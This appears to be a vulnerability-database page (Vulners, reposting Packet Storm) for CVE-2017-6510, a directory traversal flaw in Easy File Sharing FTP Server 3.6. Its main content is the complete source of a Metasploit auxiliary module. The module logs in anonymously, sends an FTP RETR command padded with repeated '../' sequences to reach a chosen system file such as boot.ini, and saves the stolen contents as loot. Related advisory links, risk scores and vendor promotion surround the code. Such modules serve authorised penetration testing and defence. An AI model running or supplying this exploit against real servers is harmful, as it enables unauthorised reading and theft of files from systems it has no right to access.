Lucene search
K

Easy File Sharing FTP Server 3.6 Directory Traversal

🗓️ 01 Sep 2024 00:00:00Reported by Ahmed Elhady Mohamed, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 245 Views

This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6 and Earlier, allowing arbitrary file download

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Easy File Sharing FTP Server 3.6 Directory Traversal Exploit
3 Apr 201700:00
zdt
Circl
CVE-2017-6510
29 May 201815:50
circl
CNVD
Easy File Sharing FTP Server Directory Traversal Vulnerability
21 Mar 201700:00
cnvd
CVE
CVE-2017-6510
16 Mar 201714:00
cve
Cvelist
CVE-2017-6510
16 Mar 201714:00
cvelist
Metasploit
Easy File Sharing FTP Server 3.6 Directory Traversal
8 Mar 201715:59
metasploit
NVD
CVE-2017-6510
16 Mar 201714:59
nvd
OSV
CVE-2017-6510
16 Mar 201714:59
osv
Prion
Directory traversal
16 Mar 201714:59
prion
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.  
This vulnerability allows an attacker to download arbitrary files from the server by crafting  
a RETR command that includes file system traversal strings such as '../'  
},  
'Platform' => 'win',  
'Author' =>  
[  
'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-6510']  
],  
'DisclosureDate' => '2017-03-07'  
))  
  
register_options(  
[  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),  
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])  
])  
end  
  
def check_host(ip)  
begin  
connect  
if /Easy File Sharing FTP Server/i === banner  
return Exploit::CheckCode::Detected  
end  
ensure  
disconnect  
end  
  
Exploit::CheckCode::Safe  
end  
  
def run_host(target_host)  
begin  
# Login anonymously and open the socket that we'll use for data retrieval.  
connect_login  
sock = data_connect  
if sock.nil?  
error_msg = 'data_connect failed; possible invalid response'  
print_status(error_msg)  
elog(error_msg)  
else  
file_path = datastore['PATH']  
file = ::File.basename(file_path)  
  
# make RETR request and store server response message...  
retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}"  
res = send_cmd( ["RETR", retr_cmd])  
  
# read the file data from the socket that we opened  
# dont assume theres still a sock to read from. Per #7582  
if sock.nil?  
error_msg = 'data_connect failed; possible invalid response'  
print_status(error_msg)  
elog(error_msg)  
return  
else  
# read the file data from the socket that we opened  
response_data = sock.read(1024)  
end  
  
unless response_data  
print_error("#{file_path} not found")  
return  
end  
  
if response_data.length == 0 or ! (res =~ /^150/ )  
print_status("File (#{file_path})from #{peer} is empty...")  
return  
end  
  
# store file data to loot  
loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)  
vprint_status("Data returned:\n")  
vprint_line(response_data)  
print_good("Stored #{file_path} to #{loot_file}")  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e  
vprint_error(e.message)  
elog(e)  
rescue ::Timeout::Error, ::Errno::EPIPE => e  
vprint_error(e.message)  
elog(e)  
ensure  
data_disconnect  
disconnect  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 25
CVSS 37.5
EPSS0.59811
245